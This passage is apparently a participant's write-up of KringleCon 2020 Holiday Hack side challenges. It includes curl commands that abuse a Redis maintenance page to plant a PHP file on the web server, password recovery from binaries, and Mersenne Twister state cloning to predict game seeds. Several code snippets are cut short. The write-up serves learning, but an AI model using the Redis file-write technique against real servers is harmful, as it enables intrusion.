    print('[!] Asserting the MD5 sum has not changed:')
    assert(modified_block_md5 == fixed_block_md5)

    hash_sha256 = SHA256.new()
    print(f'[+] Succesfully modified the block. New SHA256 sum is: {hash_sha256.hexdigest()}')

if __name__ == '__main__':

Side challenges

The side challenges play an important part in the story line and while they’re not the key objectives it’s really worthwhile to spend time on them. By solving these little puzzles you earn hints and maybe there’s an Elf-on-the-shelf who’ll write up a nice report, who knows?


We’re instructed to dial to 756 8347, and once we do so we have to mimic a proper dial up connection using the sound effects listed.


After listening to a recording a little too often it can be recreated with the noises in this order:

  1. baaDEEbrrr
  2. aaah
  3. WEWEWwrwrrwrr
  4. beDURRdunditty

Redis Bug Hunt

We need your help!! The server stopped working, all that’s left is the maintenance port. To access it, run: curl http://localhost/maintenance.php We’re pretty sure the bug is in the index page. Can you somehow use the maintenance page to view the source code for the index page? player@83025f8d1063:~$


<?php $a = file_get_contents("/var/www/html/index.php");echo $a; ?>
player@a86555c3376f:~$ curl localhost/maintenance.php?cmd=config,set,dir,/tmp
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dir' '/tmp'
player@a86555c3376f:~$ curl localhost/maintenance.php?cmd=config,set,dir,/var/www/html/
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dir' '/var/www/html/'
player@a86555c3376f:~$ curl localhost/maintenance.php?cmd=config,set,dbfilename,2.php  
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dbfilename' '2.php'

player@a86555c3376f:~$ curl localhost/maintenance.php?cmd=set,hook,%3C%3Fphp%20%24a%20%3D%20file%5Fget%5Fcontents%28%22%2Fvar%2Fwww%2Fhtml%2Findex%2Ephp%22%29%3Becho%20%24a%3B%20%3F%3E
Running: redis-cli --raw -a '<password censored>' 'set' 'hook' '<?php $a = file_get_contents("/var/www/html/index.php");echo $a; ?>'
player@a86555c3376f:~$ curl localhost/maintenance.php?cmd=save
Running: redis-cli --raw -a '<password censored>' 'save'
player@a86555c3376f:~$ curl -o- localhost/2.php 
REDIS0009�      redis-ver5.0.3�
 aof-preamble��� hook@C<?php
# We found the bug!!
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on"

Reference: Red Team Diary, Entry #2: Stealthily Backdooring CMS Through Redis’ Memory Space

The Elf Code

Mischevious munchkins have nabbed all the North Pole’s lollipops intended for good children all over the world.

Use your JavaScript skills to retrieve the nabbed lollipops from all the entrances of KringleCon.


Level 1


Level 2

elf.pull_lever(elf.get_lever(0) + 2);

Level 3


Level 4

for (var i = 0; i < 3; i++) {

Level 5

elf.tell_munch(elf.ask_munch(0).filter(m => typeof(m) == "number"));

Level 6

for (var l = 0; l < 4; l++) {

var riddle = elf.ask_munch(0);
var answer = Object.keys(riddle).find(key => riddle[key] == "lollipop")


The SORT-O-MATIC is responsible for separating properly wrapped presents from disfunctional misfit presents. Properly wrapped presents are put into Santa’s gift bag while the misfit toys are dropped into a box with a portal to the Island of Misfit Toys.

The SORT-O-MATIC’s configuration works using regular expressions. When all eight regular expressions match the desired values the SORT-O-MATIC will properly sort presents.

Time to get cracking with regex101 standing by to check the more tricky regexes:

  1. matches at least 1 digit: \d+
  2. matches 3 alpha a-z chars ignoring case: [a-zA-Z]{3}
  3. matches 2 chars of lowercase a-z or numbers: [a-z0-9]{2}
  4. matches any 2 chars not uppercase A-L or 1-5: [^A-L1-5]{2}
  5. matches 3 or more digits only: ^\d{3,}$
  6. matches multiple hour:minute:second time formats only: ^(([1-2][0-4]){1}|(0?[0-9]?){1}):(([1-5][0-9]){1}|(0[0-9]){1}):(([1-5][0-9]){1}|(0[0-9]){1})$
  7. matches MAC address format only while ignoring case: ^[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}$, or more succinct: ^([0-9a-fA-F]{2}:){5}([0-9a-fA-F]{2})$
  8. matches multiple day, month and year date formats only: ^(([0-2][0-9]){1}|30|31)[\/.-](0[1-9]|1[0-2])[\/.-][\d]{4}$

Scape Prepper

A good introduction to using the awesome Scapy framework.

  • Submit the class object of the scapy module that sends packets at layer 3 of the OSI model. task.submit(send)

  • Submit the class object of the scapy module that sniffs network packets and returns those packets in a list. task.submit(sniff)

  • Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”: task.submit(1) # 1. pkt = sr1(IP(dst="")/TCP(dport=20))

  • Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets. task.submit(rdpcap)

  • The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS task.submit(2) # 2. UDP_PACKETS.show()

  • Submit only the first packet found in UDP_PACKETS. task.submit(UDP_PACKETS[0])

  • Submit only the entire TCP layer of the second packet in TCP_PACKETS. task.submit(TCP_PACKETS[1][TCP])

  • Change the source IP address of the first packet found in UDP_PACKETS to and then submit this modified packet UDP_PACKETS[0][IP].src = "" task.submit(UDP_PACKETS[0])

  • Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS.

    Inspect TCP_PACKETS[6][Raw] and see it contains: <Raw load='PASS echo\r\n' |> task.submit('echo')

    Quicker way to list the payload of a series of packets: [pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

  • The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list. task.submit(ICMP_PACKETS[1][ICMP].chksum)

  • Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of stored in the variable named “pkt” task.submit(3) # 3. pkt = IP(dst='')/ICMP(type="echo-request")

  • Create and then submit a UDP packet with a dport of 5000 and a dst IP of (all other packet attributes can be unspecified) task.submit(IP(dst='')/UDP(dport=5000))

  • Create and then submit a UDP packet with a dport of 53, a dst IP of, and is a DNS query with a qname of “elveslove.santa”. (all other packet attributes can be unspecified) task.submit(IP(dst='')/UDP(dport=53)/DNSQR(qname='elveslove.santa'))

  • The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection. ARP_PACKETS[1][ARP].op=0x2 # turn this into an is-at response ARP_PACKETS[1][ARP].hwsrc = '00:13:46:0b:22:ba' # get the src from the Ethernet header ARP_PACKETS[1][ARP].hwdst = '00:16:ce:6e:8b:24' # taken from the original request's Ethernet header task.submit(ARP_PACKETS)


Speaker Unpreparedness Room!

Help us get into the Speaker Unpreparedness Room! The door is controlled by ./door, but it needs a password! If you can figure out the password, it’ll open the door right up! Oh, and if you have extra time, maybe you can turn on the lights with ./lights activate the vending machines with ./vending-machines? Those are a little trickier, they have configuration files, but it’d help us a lot! (You can do one now and come back to do the others later if you want) We copied edit-able versions of everything into the ./lab/ folder, in case you want to try EDITING or REMOVING the configuration files to see how the binaries react. Note: These don’t require low-level reverse engineering, so you can put away IDA and Ghidra (unless you WANT to use them!)


elf@1d1f4a542397 ~ $ strings ./door
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
elf@1d1f4a542397 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the 
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Door opened!


lights.conf contains:

password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician
elf@9ecf429b7e69 ~/lab $ ./lights 
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
 ---t to help figure out the password... I guess you'll just have to make do!
 The terminal just blinks: Welcome back, elf-technician
 What do you enter? > 

Looking at the output of running xxd on it there are a number of references to .rs files, so this program was originally written in Rust. Furthermore it appears to have been stripped.

We notice it prints the username from the file as part of the message, so let’s apply what the elf suggested of putting the encrypted password into the username field. Lo and behold it prints:

The terminal just blinks: Welcome back, Computer-TurnLightsOn

Using that as the password on the actual binary:

The terminal just blinks: Welcome back, elf-technician
What do you enter? > Computer-TurnLightsOn
Lights on!


  "name": "elf-maintenance",
  "password": "LVEdQPpBwr"

As suggested by the binary itself:

I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...

Removing the file and providing a password such as AAAAAAAA or AAAA results in a new password of the same length.

  • AAAAAAAA -> XiGRehmw
  • AAAA -> XiGR
  • BBBB -> DqTp
  • ABCDabcd -> Xqn9aWEb

Furthermore it’s deterministic so there’s no salt or any randomness involved. Looking at the .rodata of the binary for something that looks like a lookup table reveals this:

elf@9dd72c557f24 ~/lab $ objdump -s -j .rodata vending-machines
 41e30 63652f6d 6f642e72 73394765 4f77386b  ce/mod.rs9GeOw8k
 41e40 6e4d616f 66716252 31593541 63437554  nMaofqbR1Y5AcCuT
 41e50 37695558 444c7968 4853507a 45465136  7iUXDLyhHSPzEFQ6
 41e60 5a78736d 49344e76 74423072 4b333270  ZxsmI4NvtB0rK32p
 41e70 5767646a 4a566c56 55395263 77796e30  WgdjJVlVU9Rcwyn0
 41e80 38366d4d 686a7a66 4e355a75 4737444c  86mMhjzfN5ZuG7DL
 41e90 61697162 76785946 426b4131 4b33456c  aiqbvxYFBkA1K3El
 41ea0 64533267 70483473 50517465 72574a6f  dS2gpH4sPQterWJo
 41eb0 544f4958 43625665 4c5a4959 55736f33  TOIXCbVeLZIYUso3
 41ec0 36764566 4d584150 526a574f 37357247  6vEfMXAPRjWO75rG
 41ed0 546e306b 4e4a7561 32346469 38517779  Tn0kNJua24di8Qwy
 41ee0 53433942 636c484b 71684446 31707a78  SC9BclHKqhDF1pzx
 41ef0 746d6774 42656451 55536777 6b695775  tmgtBedQUSgwkiWu
 41f00 36323538 796e4363 7a6c614a 4b527033  6258ynCczlaJKRp3
 41f10 39724e47 62313444 785a4973 6a564837  9rNGb14DxZIsjVH7
 41f20 54455866 4d716f6d 4f4c5968 41307646  TEXfMqomOLYhA0vF
 41f30 50616636 6c417250 6f345430 37733268  Paf6lArPo4T07s2h
 41f40 48767157 64776d4a 63514365 4b556933  HvqWdwmJcQCeKUi3
 41f50 4c527038 6e314642 4d5a7558 4956676b  LRp8n1FBMZuXIVgk
 41f60 7947786a 4e39357a 6244594f 74534563  yGxjN95zbDYOtSEc
 41f70 57457759 66616b65 71377352 58323878  WEwYfakeq7sRX28x
 41f80 6d536739 6e4b4641 54687650 757a4342  mSg9nKFAThvPuzCB
 41f90 486a4947 62724a34 70314d79 30563374  HjIGbrJ4p1My0V3t
 41fa0 4f44695a 4c354e6c 646f5551 36706845  ODiZL5NldoUQ6phE
 41fb0 57753566 414f7972 69514434 58507362  Wu5fAOyriQD4XPsb
 41fc0 544e5232 314d5a6d 37393843 65765947  TNR21MZm798CevYG
 41fd0 4c6e4b64 33553630 426f6148 56536c71  LnKd3U60BoaHVSlq
 41fe0 63466b7a 7467494a 6a777867 50526265  cFkztgIJjwxgPRbe
 41ff0 78546843 3139464a 42634c79 75444e6d  xThC19FJBcLyuDNm
 42000 41584555 61776657 516e4f59 5672714d  AXEUawfWQnOYVrqM
 42010 336a5a69 38736f47 6b35707a 30327648  3jZi8soGk5pz02vH
 42020 49536c4b 64367434 37737472 75637420  ISlKd6t47struct 

What’s more, the first three characters of the string correspond to the mapping I’d already found for the first character:

  • a -> 9
  • b -> G
  • c -> e

Slicing and dicing the rest of that string reveals 8 lines of 26 lowercase + 26 uppercase + 10 digits:


Using this we can use the script below to decode the original password:

#!/usr/bin/env python3

import sys

password = 'LVEdQPpBwr'
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

ltable = [

def main():
    if len(sys.argv) != 2:
        print('Please provide a password to decode')

    password = sys.argv[1]
    plaintext = ''
    ltable_row = 0

    for c in password:
        if ltable_row == len(ltable):
            ltable_row = 0

        plaintext += allchars[ltable[ltable_row].index(c)]
        ltable_row += 1

    print("Decoded password:", plaintext)

if __name__ == '__main__':

That results in:

python3 vending-machine-decode.py LVEdQPpBwr
Decoded password: CandyCane1

Which works!

elf@9dd72c557f24 ~ $ ./vending-machines 
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
Welcome, elf-maintenance! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code > CandyCane1
Vending machines enabled!!
elf@9dd72c557f24 ~ $ 

Snowball fight


Howdy gumshoe. I'm Tangle Coalbox, resident sleuth in the North Pole.
If you're up for a challenge, I'd ask you to look at this here Snowball Game.
We tested an earlier version this summer, but that one had web socket vulnerabilities.
This version seems simple enough on the Easy level, but the Impossible level is, well...
I'd call it impossible, but I just saw someone beat it! I'm sure something's off here.
Could it be that the name a player provides has some connection to how the forts are laid out?
Knowing that, I can see how an elf might feed their Hard name into an Easy game to cheat a bit.
But on Impossible, the best you get are rejected player names in the page comments. Can you use those somehow?
Check out Tom Liston's talk for more info, if you need it.

The presentation discusses the Mersenne twister and more specifically the MT19937 version of it. We note that each time we start the game we have a different layout, unless we re-use the player “name” (really a 32-bit integer).

Start a game on impossible and the name shows up as <Redacted!>, after going through the Javascript and attempting to enumerate the Websocket I finally had a look at the HTML and noticed the following (only when game is started at Impossible):

Seeds attempted:
855335339 - Not random enough
[Skip 623 other numbers which are rejected]
<Redacted!> - Perfect!

Recall from the presentation that despite having a large period and otherwise good pseudorandomness, we only need 624 values in total in order to determine all the future “random” values. So seeing 624 numbers in the page source was a good indication what’s going on here. If we can predict the last number (the redacted player name) we can use that to play a game on easy and replay it later on impossible.

Copy all the seeds into the snowball.py script and use the provided mt199937 module to sync it with the numbers emitted by the Snowball game. This way, we can start predicting (that’s a misnomer as we are 100% sure) the next “pseudo random numbers”. The key part of my script is:

myprng = mt19937.mt19937(0)

with Bar('Syncing Snowball state into our PRNG state...', max=624) as bar:
    for i in range(mt19937.mt19937.n):
        myprng.MT[i] = mt19937.untemper(seeds[i])

print("Next pseudorandom number will be: %i" % (myprng.extract_number()))

And run it:

Syncing Snowball state into our PRNG state... |################################| 624/624
Next pseudorandom number will be: 1691929067

Now in another browser start a new game on easy with the 1691929067 as player name. Note the location of the walls as you complete the game because you cannot make a single mistake on impossible. In this particular case:

0,3 - 0,6
8,7 - 9,7
2,5 - 4,5
6,4 - 8,4
1,4 - 5,4

Then play the game on impossible and obtain additional information from Tangle Coalbox about hash collisions in MD5. More specifically, the identical-prefix collision attack called UniColl. We can use this information for the final two challenges hacking the Naughy/Nice blockchain.


So long, and thank you Pierre, Marie and Jean-Claude for this 2020 instalment of KringleCon! They and their team created an awesome Holiday Hack Challenge with plenty of fun challenges set in a castle like no other.